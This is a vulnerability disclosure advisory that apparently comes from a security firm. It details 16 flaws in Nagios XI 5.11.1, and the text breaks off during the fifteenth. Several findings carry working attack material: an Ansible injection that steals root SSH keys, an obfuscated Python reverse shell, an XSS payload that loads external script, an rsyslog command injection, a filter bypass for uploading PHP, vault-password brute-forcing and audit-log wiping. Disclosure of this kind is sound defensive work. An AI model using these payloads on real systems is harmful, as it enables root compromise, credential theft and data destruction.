Verder naar navigatie Doorgaan naar hoofdinhoud Ga naar de voettekst

Technical Advisory – Multiple Vulnerabilities in Nagios XI

13 december 2023

door Oliver Brooks

Introduction

This is the second Technical Advisory post in a series wherein I audit the security of popular Remote Monitoring and Management (RMM) tools. (First: Multiple Vulnerabilities in Faronics Insight).

I was joined in this security research by Colin Brum, Principal Security Consultant at NCC Group.

In this post I describe the 16 vulnerabilities which myself and Colin discovered in Nagios XI v5.11.1 available at https://www.nagios.com/products/nagios-xi/. Nagios XI is a household name amongst server administrators. Nagios has been one of the go-to applications for remote monitoring and management for decades. As with the other applications in this series of blog posts, Nagios XI provides systems administrators with a central ‘hub’ to monitor and manipulate the state of computers (agents) deployed across the network.

The identified vulnerabilities can be found below by order of severity –

  1. Root RCE via Ansible Vault File Injection (CVE-2023-47401)
  2. Authentication Not Required For SSH Terminal Functionality
  3. Command Injection in Host Configuration Page (CVE-2023-47408)
  4. Remote Code Execution Via Custom Includes (CVE-2023-47400)
  5. Any Authenticated User Can Manipulate User and System Macros (CVE-2023-47412)
  6. Host Pivot Via Insecure Migration Process Ansible Vault Credentials (CVE-2023-47409)
  7. Local Privilege Escalation via rsyslog abuse (CVE-2023-47414)
  8. Recursive Filesystem Deletion as Root Via Backup Script (CVE-2023-47411)
  9. Stored Cross Site Scripting Vulnerability in Manage Users (CVE-2023-47410)
  10. Unintended Files Can Be Edited By Graph Editor Page (CVE-2023-47413)
  11. Missing Objects Page Lacks Authorization Controls (CVE-2023-47403)
  12. Nagios XI Database User Can Delete From Audit Log (CVE-2023-47399)
  13. Plaintext Storage of NRDP and NSCA Tokens (CVE-2023-47402)
  14. Portscanning Via Scheduled Backups (CVE-2023-47406)
  15. Sensitive Credentials Stored In Plaintext World Readable Files (CVE-2023-47407)
  16. Weak Default MySQL Credentials (CVE-2023-47405)

These vulnerabilities were all mitigated in version 5.11.4 of Nagios XI (the latest version at the time of writing).

1. Root RCE via Ansible Vault File Injection ( CVE-2023-47401)

Risk: Critical (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)

Impact

A malicious actor could obtain code execution with root privileges on any host running Nagios XI. The root user could perform any operation on the host and access, manipulate or destroy all sensitive data that it can manage.

Details

The application exposes a page (“http://server_hostname/nagiosxi/admin/migrate.php”) which allows admins to perform a ‘migration’ from the active Nagios XI server to another server. The UI prompts the user to supply an IP address and credentials for a remote host, this information is then POST’ed to the webserver.

The webserver passes the supplied arguments to the following command ‘sudo /usr/bin/php /usr/local/nagiosxi/scripts/migrate/migrate.php -a IP_ADDRESS -u USERNAME -p PASSWORD‘. Note that the command is executed as root, due to the use of the sudo command.

The `migrate.php` script creates an encrypted Ansible vault with contents like the following (after decryption) –

---
- name: Migrate Nagios Core
  hosts: all
  become: no
  remote_user: root
  
  vars:
    ansible_ssh_pass: 'NCC GROUP'
    ansible_sudo_pass: 'NCC GROUP'

  roles:
    - role: /usr/local/nagiosxi/scripts/migrate/roles/migrate_core

The become_user, ansible_ssh_pass and ansible_sudo_pass fields are all populated by attacker supplied data.

During this research, it was observed that it is possible to supply a username parameter to the webserver along the lines of “research%0a%20%20name%20:”%7B%7B+lookup%28%5C%22pipe%5C%22%2C+%5C%22tar+-czf+-+%24HOME%2F.ssh%2F+2%3E%2Fdev%2Fnull+%7C+base64+-w0+%5C%22%29+%7D%7D”“, which decodes to the following –

Research
  name: "{{ lookup(\"pipe\", \"tar -czf - $HOME/.ssh/ 2>/dev/null | base64 -w0 \") }}"

Yielding a final YML file like the following –

---
- name: Migrate Nagios Core
  hosts: all
  become: yes
  remote_user: nothing
  name: "{{ lookup(\"pipe\", \"tar -czf - $HOME/.ssh/ 2>/dev/null | base64 -w0 \") }}"
  
  vars:
    ansible_ssh_pass: 'reachers'
    ansible_sudo_pass: 'reachers'

  roles:
    - role: /usr/local/nagiosxi/scripts/migrate/roles/migrate_core

Ansible allows parameters to be overwritten in Playbooks, so it would essentially change the ‘name’ of the playbook to “{{ lookup(\”pipe\”, \”tar -czf – $HOME/.ssh/ 2>/dev/null | base64 -w0 \”) }}”.

When `migrate.php` runs the playbook as part of the migration process, the command within the lookup will be executed (as root).

A full attack path can be seen below. Vault injection –

$~ sudo cat 64d9661573ecc.yml 
---
- name: Migrate Nagios Core
  hosts: all
  become: yes
  remote_user: nothing
  name: "{{ lookup(\"pipe\", \"tar -czf - $HOME/.ssh/ 2>/dev/null | base64 -w0 \") }}"
  
  vars:
    ansible_ssh_pass: 'reachers'
    ansible_sudo_pass: 'reachers'

  roles:
    - role: /usr/local/nagiosxi/scripts/migrate/roles/migrate_core%

Content of the world-readable output.json file –

$~ head -n 15 output.json 
{
    "custom_stats": {},
    "global_custom_stats": {},
    "plays": [
        {
            "play": {
                "duration": {
                    "end": "2023-08-13T23:24:08.939666Z",
                    "start": "2023-08-13T23:24:06.765046Z"
                },
                "id": "bb271b0f-c872-2ccf-4edd-000000000006",
                "name": "H4sIAAAAAAAAA+2Xya6syLWGa8xTnDkq0yYkg5JM3yV9k8DEoidJeki6p7+5t3RtuayyJz63kfOTECFFoBXiXxFr/VPfL9Cf5rmCfvlpwG9IGP5+w//4/h4jOE4QKAGjGPoLjCA4fPnlx+XnbelvvOYlnn78+GV6/4h/tu5fzf8/Zfqr/o/sL9Mc/4wYXwITf6z/Bb6gv9MfvZBv/eGfsZnf8x+u/69fMLwo6z8Mk9cdR/ph2rJPu/wPlQ+/Z4EEY5qk08+YRaYoeC5ZzdNfMOJlTVr....snip

Decoded and extracted base64 –

$~ base64 -d > output.tar
H4sIAAAAAAAAA+2Xya6syLWGa8xTnDkq0yYkg5JM3yV9k8DEoidJeki6p7+5t3RtuayyJz63kfOTECFFoBXiXxFr/VPfL9Cf5rmCfvlpwG9IGP5+w//4/h4jOE4QKAGjGPoLjCA4fPnlx+XnbelvvOYlnn78+GV6/4h/tu5fzf8/Zfqr/o/sL9Mc/4wYXwITf6z/Bb6gv9MfvZBv/eGfsZnf8x+u/69fMLwo6z8Mk9cdR/ph2rJPu/wPlQ+/Z4EEY5qk08+YRaYoeC5ZzdNfMOJlTVrva8gnLfWKLPq/Yb6eZvsaZmeKlkvaAXr1PbW9P/5aGPI0EkTScdgbNemn1e7qwwyp7lbzw5RjLxRh/MhARGXJNGEJmIjPqmkrgEpPEVBDLzRhoHD7KOo0M+TeKlyUFTmRvygmyeEENEix8c5pMdEWiHTVrfQXKuojvoge/EbfAFVRAgbZoSStl11gU2fOgko/7QuIxfNKiNnY82VXE8rdS6l7PuF3FhJHzeLcfLZP0jhZ1B1n4JSPcSMKTGYQC0v1ub5ChjZhEp5p+8TmG3nJwBO5lOuKJ0HDoVvC1tJ1SEK2wkMICXXePtMYkGjqtY0bJV0tsVB63XWuk4Z7BXSYtbV7l+FFpITgUUMb8hBV6 [SNIP]
$~ tar xvf output.tar    
root/.ssh/
root/.ssh/id_rsa
root/.ssh/id_rsa.pub

A similar example, where a root reverse shell is returned is shown below: –

---
- name: Migrate Nagios Core
  hosts: all
  become: yes
  remote_user: research
  name: "{{ lookup(\"pipe\", \"python -c 'import socket,os,pty,base64;s=socket.socket();s.connect((chr(49)+chr(57)+chr(50)+chr(46)+chr(49)+chr(54)+chr(56)+chr(46)+chr(49)+chr(50)+chr(48)+chr(46)+chr(49)+chr(51)+chr(49),8081));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(chr(0x62)+chr(0x61)+chr(0x73)+chr(0x68))'  \") }}"

A reverse shell as the root user is returned.

2. Authentication Not Required For SSH Terminal Functionality

Risk: High (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H)

Impact

Successful exploitation of a bespoke webshell like this would enable an attacker to fully compromise the webserver host.

Details

During this vulnerability research it was observed that Nagios XI exposes a webshell at http://server_url/nagiosxi/terminal/. Webshell access does not require the user to be authenticated with Nagios XI and it is exposed on all network interfaces, meaning that any attacker on the same network as the Nagios XI webserver can interact with it.

The webshell used can be found hosted here https://github.com/shellinabox/shellinabox. It is a large and complex application written in the C programming language. Analysis of the commits in the above Git repository indicate that the application has not been updated in 4 years, and a release has not been made since 2016.

Due to the fact that this webshell does not require the user to be authenticated with Nagios XI, it is possible for an attacker on the same network as the Nagios XI server to begin fuzzing the webshell in order to attempt to compromise it to gain unauthenticated code execution on the host.

Ultimately the use of a no-longer-maintained, heavily outdated webshell such as `shellinabox` introduces risk to every installation of Nagios XI. This risk is compounded by the lack of a requirement for the user to be logged into Nagios XI.

3. Command Injection in Host Configuration Page (CVE-2023-47408)

Risk: High (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:L)

Impact

Nagios XI takes care to ensure that administrators cannot obtain direct shell access on the Nagios XI server without first having valid credentials for the host.

Exploitation of this finding would allow an administrator to gain command execution on the host, which would enable them to begin the process of exploiting all agents connected to the server.

Details

Administrators can define ‘services’ within Nagios XI. These ‘services’ are essentially a set of scripts that the server executes to check if a particular service or process on an agent is operating correctly.

Administrators select from a drop-down list of scripts, and then they can supply arbitrary amounts of arguments to the script, often including a $HOSTNAME parameter indicating which host the script should be executed against.

The image above shows the service management page, complete with unfilled argument templates.

Administrators enter values in the `$ARG1$` and `$ARG2$` input boxes, which are placed into the command when it is executed as part of scheduled/forced checks against a host.

During this vulnerability research it was observed that administrators can perform a command injection attack on the Nagios server by entering commands surrounded by backticks within the argument input boxes.

For example, taking the `check_xi_host_http` script as an example –

The command injection payload within `$ARG1$` results in a new file being created in `/tmp/test1` containing the current date/time whenever the service check executes.

$~ cat /tmp/test1
cat: /tmp/test1: No such file or directory
$~ cat /tmp/test1
Mon 14 Aug 2023 06:16:06 AM EDT

This flaw could be abused to create a reverse shell connection to an attacker’s machine, enabling them to fully compromise the Nagios XI server.

4. Remote Code Execution Via Custom Includes (CVE-2023-47400)

Risk: High (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:L)

Impact

Consequences of this RCE range from complete host compromise, complete database compromise and compromise of all agents with SSH keys registered with Nagios XI.

Details

A Nagios XI server exposes a “Custom Includes” feature at the URL “http://server_hostname/nagiosxi/includes/components/custom-includes/manage.php” which allows administrators to add custom assets to the application, specifically images, JavaScript files and CSS files.

Numerous controls have been implemented which attempt to prevent users from uploading PHP files, indicating that this is a risk that Nagios developers acknowledge and are keen to avoid. These controls are –

  • A `.htaccess` file which explicitly prevents PHP code from executing and forcibly sets the Content-Disposition to ‘attachment’ which prevents files from rendering, they are instead downloaded upon access.
  • A requirement for image files to begin with valid image ‘magic bytes’.
  • A requirement for all uploaded filenames to contain an expected file extension (.css, .jpg, .js, etc.)

After uploading files, the application allows developers to rename uploaded files using a rename utility built into the Custom Includes page.

NCC Group researchers were able to bypass each of the above restrictions using the following steps –

  • Upload a valid image named “test.jpg”
  • Use the rename feature of Custom Includes to rename the image to “.htaccess” (which has the effect of overwriting the existing `.htaccess` file)
  • Rename the file to “test.jpg” again, resulting in there being no `.htaccess` file present
  • Upload a file named “exploit.jpg.php” with the following contents –

An optional step at this point is to abuse the site’s rename functionality to rename ‘exploit.jpg.php’ to ‘exploit.php’, and then access the uploaded file at “http://server_hostname/nagiosxi/includes/components/custom-includes/images/exploit.php

A simple phpinfo() payload is displayed here as a proof of concept, however this could have been any malicious PHP code to compromise the host.

5. Any Authenticated User Can Manipulate User and System Macros (CVE-2023-47412)

Risk: Medium (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N)

Impact

Any authenticated user can steal credentials from user macros if the “Redacted Macros” setting is disabled, and can modify existing user and system macros to provoke denial of service conditions (for macros which contain credentials to services) and cause the server to leak useful/sensitive info to all authenticated users (via System Macros)

Details

User Macros

‘User macros’ is a feature of the application which allows administrators to store secrets in a configuration file as opposed to hardcoding them in host commands etc. (for security purposes)

User macros can be set and viewed under `Configure -> Core Config Manager -> User Macros`. This is intended to be an administrator only feature, given that freshly created users have their ‘Core Config Manager’ setting disabled by default.

Low-privileged users can access these macros directly by navigating to “http://server_hostname/nagiosxi/includes/components/usermacros/index.php”. If “redacted macros” has been disabled in config, all the sensitive macros will be displayed to the user here.

Intended functionality is that if “redacted macros” is enabled, it is not possible for an administrator to modify the User Macros – the text box is grey, the update button is disabled, and all fields are redacted. During this vulnerability research it was observed that even if `redacted macros` is enabled, and it is impossible to modify the User Macros file via the UI, it is still possible for any authenticated user to modify the User Macros by simply sending an appropriately formatted HTTP request to the above URL, as shown below – 

curl 'http://server_hostname/nagiosxi/includes/components/usermacros/?mode=overwrite content=NCC%20GROUP' --compressed -X POST  -H 'Cookie: nagiosxi=COOKIE_VALUE'

Resulting in the file being successfully truncated, with all prior secrets lost –

$~ cat /usr/local/nagios/etc/resource.cfg
NCC GROUP
$~

This attack was performed by a user who has had their ‘Core Config Manager Access’ field set to ‘None’ –

Any authenticated user can also exploit this flaw by using the `update` mode of operation, even when the config is not intended to be writable, via a GET request to the following URL “http://server_hostname/nagiosxi/includes/components/usermacros/index.php?mode=update macro=NCC%20GROUP new_value=53”.

System Macros

Additionally, via the same URL, any authenticated user can access and change the `System Macro` settings too. In this case, though, the Update button is present and available for any user to press.

Once again, this is intended to be a feature which is only exposed to privileged users.

6. Host Pivot Via Insecure Migration Process Ansible Vault Credentials (CVE-2023-47409)

Risk: Medium (CVSS:3.0/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)

Impact

An attacker who has successfully compromised and gained root on a Nagios XI server can retrieve privileged credentials for third party hosts from encrypted Ansible vault files.

Details

As part of Nagios XI installation, the installer adds the following line to `/etc/sudoers` –

User_Alias NAGIOSXI=nagios
............ SNIP ............
NAGIOSXI ALL = NOPASSWD:/usr/bin/php /usr/local/nagiosxi/scripts/migrate/migrate.php *

The nagios user is allowed to execute the above script as root, to migrate the Nagios server to another server. The script accepts a hostname, a root or sudoer username and the corresponding password for that account. Those credentials are then placed into a YML file which is encrypted with an Ansible “vault password”.

The Ansible encrypted vault file is later used by `migrate.php` to migrate the Nagios server to a remote server using the Ansible application. These encrypted YML files are not deleted when the migration is completed.

Within `migrate.php` are the following lines of interest –

// O.B NCC => run_migration_ansible():83 
$dir = get_root_dir() . '/scripts/migrate';
$job_name = uniqid();                      
// O.B NCC => vault_password is predictable, value is derived from current millis
$vault_password = uniqid();                
$job_dir = $dir.'/jobs/'.$job_name;        
$yml_file = file_get_contents($dir."/templates/migrate_core.yml");

// O.B NCC => SNIP

copy($dir.'/templates/ansible.cfg', $job_dir.'/ansible.cfg');
$job_file = $job_dir.'/'.$job_name.'.yml'; 

// O.B NCC => $job_file now contains the credentials
file_put_contents($job_file, $yml_file);   

// Add hosts and password file
file_put_contents($job_dir.'/hosts', $address);
file_put_contents($job_dir.'/.vp', $vault_password); 

// Make encrypted ansible playbook to protect passwords
$cmd = "echo -n '".$vault_password."' | ansible-vault encrypt --vault-password-file=".$job_dir.'/.vp'." ".$job_file." --output ".$job_file;

// O.B NCC => $job_file is now encrypted using the vault password. It is not deleted at the end of the migration process 

The PHP `uniqid` function generates a ‘unique identifier’ by taking the current clock milliseconds, concatenating the current microseconds and encoding it as a hexadecimal string.

`uniqid` outputs a hexadecimal figure which represents the current timestamp in seconds (8 hex characters) concatenated with the current microseconds (5 hex characters).

The PHP documentation notes that “This function does not generate cryptographically secure values, and must not be used for cryptographic purposes, or purposes that require returned values to be unguessable.”

Taking `64cb047ea475b` as an example, when it is decoded to decimal the seconds portion is 1691026558 and the microseconds portion is 673627.

Because the $vault_password variable is created with the PHP `uniqid` function, it is trivial for an attacker who has compromised the local Linux root user account to obtain access to privileged credentials of a remote machine by doing the following –

  • Navigating to any job directory within `/usr/local/nagiosxi/scripts/migrate/jobs/`
  • Running `stat -t NAME_OF_JOB_FILE | cut -d” ” -f 12` on the encrypted job file
  • Convert the timestamp from `stat` to hexadecimal
  • Start brute-forcing Ansible vault decryption from TIMESTAMP_HEX00000 all the way to TIMESTAMP_HEXFFFFF
    • Or, for a neater example using the timestamp above: `64cb047e00000` to `64cb047eFFFFF`

Because most of the vault password is known (from the time that the vault was created), the key space to decrypt an impacted YML file is only 00000-FFFFF or 1,048,575 potential guesses at worst (which are performed entirely offline).

Given that only a few milliseconds pass between the file being created and the file being encrypted and given that the name of the job file is also derived using `uniqid()`, it is possible to guess the password within around 10 guesses simply by incrementing the last hex digit of the job’s filename.

A small proof of concept was written which abuses this flaw to retrieve remote root/sudoer credentials from job files –

Credentials for a remote host were successfully decrypted and extracted.

7. Local Privilege Escalation via rsyslog abuse (CVE-2023-47414)

Risk: Medium (CVSS:3.0/AV:L/AC:L/PR:H/UI:N/S:C/C:L/I:N/A:N)

Impact

Compromise of the syslog user allows an attacker to read all files under `/var/log`, amongst other directories. Access to these directories is heavily guarded due to the potential for secrets (credentials, session IDs, PII) to be present within log files.

Details

As part of its installation, Nagios XI adds the following line to `/etc/sudoers` –

NAGIOSXI ALL = NOPASSWD:/usr/bin/php /usr/local/nagiosxi/scripts/send_to_nls.php *

This line allows the local nagios user to execute `send_to_nls.php` as root with any number of arguments. The script dynamically generates a new rsyslog file using the following code –

$file_content = '
# Automatically generated by Nagios XI. Do not edit this file!

$ModLoad imfile
$InputFilePollInterval 10
$PrivDropToGroup adm
$WorkDirectory '.$spool_directory.'
# .... NCC O.B SNIPPED ....
$InputFilePersistStateInterval 20000
$InputRunFileMonitor

# Forward to Nagios Logserver and then discard.
if $programname == \'' . $tag . '\' then @@' . $hostname . ':' . $port . '
if $programname == \'' . $tag . '\' then ~';

file_put_contents($conf_file, $file_content);

finish();

function finish() {
    //restart rsyslogd
    $cmdline = "service rsyslog restart";
    echo exec($cmdline, $out, $rc);

    exit($rc);
}

In the line above marked in bold, the `$port` variable is not sanitized or validated as being an integer prior to being written to the rsyslog file.

No sanitization on this variable means that a local attacker can inject arbitrary content into new rsyslog files, gaining code execution as the syslog user. For example, consider the following use of `send_to_nls.php` –

sudo php /usr/local/nagiosxi/scripts/send_to_nls.php hostname "`printf '53\n\nmodule(omprog)\naction(type=\"omprog\" binary=\"/tmp/runsAsSyslog \")'`" tag file

Observe that instead of supplying an integer port argument, we have supplied “`printf ’53\n\nmodule(omprog)\naction(type=\”omprog\” binary=\”/tmp/runsAsSyslog \”)’`”

Executing this command creates a new rsyslog file with the following contents –

# Automatically generated by Nagios XI. Do not edit this file!

$ModLoad imfile
$InputFilePollInterval 10
$PrivDropToGroup adm
$WorkDirectory /var/spool/rsyslog

# Input for file
$InputFileName file
$InputFileTag tag:
$InputFileStateFile nls-state-64cb1a2feedb9 # Must be unique for each file being polled
# Uncomment the folowing line to override the default severity for messages
# from this file.
#$InputFileSeverity info
$InputFilePersistStateInterval 20000
$InputRunFileMonitor

# Forward to Nagios Logserver and then discard.
if $programname == 'tag' then @@hostname:53

module(omprog)
action(type="omprog" binary="/tmp/runsAsSyslog")
if $programname == 'tag' then ~

When this script is evaluated by the operating system, the bold `omprog` expression in the penultimate line will attempt to execute `/tmp/runsAsSyslog` as an executable file.

8. Recursive Filesystem Deletion as Root Via Backup Script (CVE-2023-47411)

Risk: Medium (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:H/A:N)

Impact

Recursive deletion of the server filesystem contents, meaning that all databases, all host details, all config, backups, and custom code/assets will be deleted.

Details

As part of Nagios XI installation, the installer adds the following line to `/etc/sudoers` –

NAGIOSXI ALL = NOPASSWD:/usr/local/nagiosxi/scripts/backup_xi.sh *

This line denotes that the `nagios` user is allowed to execute the `backup_xi.sh` script as root without supplying a password. The `*` suffix indicates that the script accepts any number of user-supplied arguments.

Whilst reading the script at `/usr/local/nagiosxi/scripts/backup_xi.sh` the following lines were observed:

###############################
# USAGE / HELP
###############################
usage () {
    echo ""
    echo "Use this script to backup Nagios XI."
    echo ""
# .... NCC O.B SNIP ....
###############################
# ADDING LOGIC FOR NEW BACKUPS
###############################
while [ -n "$1" ]; do
    case "$1" in
        -h | --help)
            usage
            exit 0
            ;;
        -n | --name)
	# NCC O.B => attacker supplied fullname variable
            fullname=$2
            ;;
        -p | --prepend)
            prepend=$2"."
            ;;
        -a | --append)
            append="."$2
            ;;
        -d | --directory)
            # NCC O.B => attacker supplied rootdir variable
            rootdir=$2
            ;;
    esac
    shift
done

Both the `$rootdir` and `$fullname` variables are attacker controlled. Later in the script, the attacker-controlled variables are used as follows –

# NCC O.B => Check if $rootdir has a value
if [ -z "$rootdir" ]; then
    rootdir="/store/backups/nagiosxi"
fi

# NCC O.B SNIP
# NCC O.B => $name is now attacker controlled
name=$fullname

# NCC O.B => Check if $fullname has a value
if [ -z "$fullname" ]; then
    name="$prepend$ts$append"
fi

# Clean the name
# NCC O.B => Leave only periods, alphanumerics, pipes and hyphens in the name
name=$(echo "$name" | sed -e 's/[^[:alnum:].|-]//g')

# Get current Unix timestamp as name
if [ -z "$name" ]; then
    name="$ts"
fi

# My working directory
# NCC O.B => now $mydir is a concatenation of the cleaned user supplied name and the unclean $rootdir
mydir=$rootdir/$name

Finally, after all of the backups are complete (regardless of success or failure), the following code executes –

##############################
# COMPRESS BACKUP
##############################
echo "Compressing backup..."
tar czfp "$name.tar.gz" "$name"

# NCC O.B => BUG HERE
rm -rf "$name"

# Change ownership
chown "$nagiosuser:$nagiosgroup" "$name.tar.gz"

if [ -s "$name.tar.gz" ];then

    echo " "
    echo "==============="
    echo "BACKUP COMPLETE"
    echo "==============="
    echo "Backup stored in $rootdir/$name.tar.gz"

    exit 0;
else
    echo " "
    echo "==============="
    echo "BACKUP FAILED"
    echo "==============="
    echo "File was not created at $rootdir/$name.tar.gz"
    # NCC O.B => BUG HERE
    rm -r "$mydir"
    exit 1;
fi

As noted above by the two `BUG HERE` labels, there are two key bugs present here, both stemming from the same root cause.

If an attacker supplies a `name` parameter of `.` (a single period, which will satisfy the `sed` command which cleans the supplied filename) and a `rootdir` parameter of `/` (a single slash) then the script will execute `rm -rf .`, recursively removing all files and directories from the directory specified within the command downwards.

Because the attacker controls `$rootdir`, and the script starts by executing `cd $rootdir`, this line of code has the potential to delete the entire filesystem (directly equivalent to executing `rm -rf /`).

An attacker who has compromised the Nagios user could abuse this flaw to recursively remove all files from the filesystem post-compromise.

9. Stored Cross Site Scripting Vulnerability in Admin’s User Management Page (CVE-2023-47410)

Risk: Medium (CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:N/A:N)

Impact

Consequences of a stored Cross-Site Scripting vulnerability being exploited generally range from site defacement, account takeover, CSRF, and sophisticated phishing attacks.

Details

During this vulnerability research it was observed there is a lapse in output encoding in the Admin-only user profile modification page at “http://server_hostname/nagiosxi/admin/users.php?edit=1 user_id[]=4” (for example). For example, assume a malicious administrator creates a new user with a username containing a JavaScript payload, such as –

nagios3”);</script src=”https://nc.ci/1.js”>

When another administrator attempts to view that user’s profile by clicking on their username in “http://nagios_server/nagiosxi/admin/users.php”, the JavaScript payload in the username will execute in the victim’s browser –

The root cause of this vulnerability has been traced to this inline JavaScript in the admin user management page –

$('.set-random-pass').click(function() {
            var newpass = Array(16).fill("0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz").map(function(x) { return x[Math.floor(Math.random() * x.length)] }).join('');
            $('input[name=password1]').val(newpass);
            $('input[name=sendemail]').prop('disabled', false).prop('checked', true);
        });

                $('#updateForm').submit(function(e) {
            // NCC C.B => Here
            if (updateButtonClicked    $('#usernameBox').val() != "nagios3”);</script src="https://nc.ci/1.js">") {
                var go_ahead_and_change = confirm("Changing your username is not recommended. But if you wish to proceed, you should be warned that it may take a while to take effect depending on your configuration. Do you wish to proceed?");
                if (!go_ahead_and_change) {
                    e.preventDefault();
                }
            }
        });
            });
    

Essentially the user’s username is being concatenated unsafely into the inline JavaScript by `users.php`, resulting in the potential for JavaScript execution.

10. Unintended Files Can Be Edited by Graph Editor Page (CVE-2023-47413)

Risk: Medium (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:L)

Impact

An attacker with administrator privileges can modify PHP files to execute arbitrary code on the host and maintain access for future exploitation.

Details

The Graph Templates page (http://server_hostname/nagiosxi/admin/graphtemplates.php) provides admins with the ability to supply and edit ‘graph template’ files which, by default, reside within –

  • /usr/local/nagios/share/pnp/templates/
  • /usr/local/nagios/share/pnp/templates.dist/
  • /usr/local/nagios/share/pnp/templates.special/

When the edit button is selected in the UI, the URL changes to, for example, “http://server_hostname/nagiosxi/admin/graphtemplates.php?edit=check_local_disk.php dir=templates” which allows a user to edit the file “/usr/local/nagios/share/pnp/templates/check_local_disk.php”

While there are impressively robust controls in place to prevent path traversal attacks outside of “/usr/local/nagios/share/pnp/”, NCC Group researchers observed that, by supplying a `dir` parameter of either `/` or `..` (which the Nagios server replaces with  `/`), it was possible to edit other PHP files within the parent directory.

Specifically, it is possible to edit the following files in the “/usr/local/nagios/share/php/” directory –

  • index.php
  • ajax.php
  • zoom.php

Because these files are not listed within the graph template list in the UI, it is assumed that they are not intended to be editable by administrators.

Exploitation of this flaw is demonstrated below –

11. Missing Objects Page Lacks Authorization Controls (CVE-2023-47403)

Risk: Low (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N)

Impact

A low privileged (non-admin user) can abuse this page to change CCM settings, clear the `Missing Objects` list and apply configuration (causing a new snapshot to be generated).

Details

One of the many Nagios XI features available to administrators is the “Missing Objects” page at `/nagiosxi/admin/missingobjects.php`.

According to the page, it allows admins to –

[..] delete unneeded host and services or add them to your monitoring configuration through this page. Note that a large amount of persistent unused passive checks can result in a performance decrease.

As part of the operation of this page, it is possible to ‘apply’ changes which has the result of generating a new configuration snapshot on disk.

During this vulnerability research it was observed that this page and all its features are available to all authenticated users, regardless of whether they are administrators or not.

Allowing non-admin users to access this page increases the risk of an attacker making harmful configuration changes, deleting, or manipulating Missing Object records, and creating arbitrary amounts of configuration snapshots until the snapshot disk/partition is filled.

12. Nagios XI Database User Can Delete From Audit Log (CVE-2023-47399)

Risk: Low (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N)

Impact

The ability to clear the audit log table after a successful compromise will make it significantly more difficult for an administrator or Incident Response team to establish how the initial compromise occurred, and fix the flaw.

Details

The `nagiosxi.xi_auditlog` table is a granular source of information about a user’s activities within the Nagios XI web application.

Allowing the `nagiosxi` database user to have full CRUD control over the audit logs makes it significantly easier for an attacker to successfully mask their activities after a successful host compromise via the web application.

Malicious activities could be trivially obscured using simple MySQL queries such as `update xi_auditlog set message=”” where auditlog_id>94;`

Removing the `nagiosxi` user’s ability to update/delete records in this table is beneficial as, in the event of a compromise, this audit log may help IR teams to identify how the application was compromised.

13. Plaintext Storage of NRDP and NSCA Tokens (CVE-2023-47402)

Risk: Low (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N)

Impact

An attacker who has compromised the database will gain the ability of submitting data to remote Nagios instances, and potentially to submit malformed/malicious palyloads to the compromised Nagios instance.

Details

Nagios XI offers an admin-only feature to configure “Inbound Transfer” and “Outbound Transfer” settings. These settings allow the administrator to supply data such us credentials, protocol or IP addresses for third party Nagios NRDP/NSCA servers, and to configure an authorization token for 3rd parties to supply data to the local Nagios server.

While enumerating Nagios’s `nagiosxi` database, NCC Group researchers observed that each of the credentials supplied in Inbound/Outbound Transfer settings were stored in the `xi_options` database table in plaintext, as shown below.

$ SELECT * FROM xi_options
.... SNIPPED ....
63 | nrdp_target_hosts | a:1:{1:0;a:3:{s:7:"address";s:15:"192.168.120.132";s:6:"method";s:4:"http";s:5:"token";s:18:"NRDP Auth Token!53";}}
.... SNIPPED ....
59 | nsca_target_hosts | a:1:{1:0;a:3:{s:7:"address";s:15:"192.168.120.132";s:10:"encryption";s:1:"8";s:8:"password";s"12":"AFancyDog!53"}}


The same is true for the Inbound Transfer settings, all inbound settings are present in plaintext –

$ SELECT * FROM xi_options
.... SNIPPED ....
56 | inbound_nrdp_tokens | pXMli0MeeZ9o

It appears that other sensitive fields are also persisted in plaintext too, namely –

  • “nsca_password”
  • “smtp_username”
  • “smtp_password”

14. Time-Based Port scanning Via Scheduled Backups (CVE-2023-47406)

Risk: Low (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N)

Impact

Attackers can abuse this kind of port scanning attacks to determine whether services are listening on interesting ports. Attackers can then leverage this information to, for example, abuse other features of the application (such as numerous Nagios API monitoring plugins) to submit arbitrary traffic to these ports on localhost. The ability to determine if a port is open and submit traffic to it can often allow an attacker to submit known exploit proof-of-concept scripts to the services for code execution.

Details

The `System Backups -> Scheduled Backups` feature of Nagios XI allows administrators to test whether they are able to successfully connect to an FTP server. The feature allows admin users to supply both a server hostname/IP and a TCP port.

During this research it was observed that if an attacker supplies a server IP of 127.0.0.1 (localhost) and a random port which is open/listening, the application would take a couple of seconds to reply that it failed to connect. However, if an attacker supplies a port parameter for a port which is not listening on localhost, the application would return the same error almost instantaneously.

This discrepancy in error message timings when the port is closed versus when the port is open allows an attacker to  perform a port scan against the server and obtain information about which ports are listening on localhost. As noted above, by itself this is not a particularly severe flaw, however it forms a key part of an attacker’s ability to fully enumerate the webserver and formulate a plan for compromising it.

NCC Group consultants were also able to abuse this feature to portscan internal IP addresses of other machines on the network, too.

15. Sensitive Credentials Stored in Plaintext World Readable Files (CVE-2023-47407)

Risk: Low (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N)

Impact

Consequences of highly privileged access to MySQL server can range from code execution, Nagios agent compromise, and Nagios server denial of service.

Details

Nagios XI stores all configuration data in a file named `config.inc.php` within ` /usr/local/nagiosxi/html`. This file contains –

  • Plaintext database credentials (server, port, username, password)
  • The location of the `htpasswd` file
  • Basic authentication credentials for various subsystems

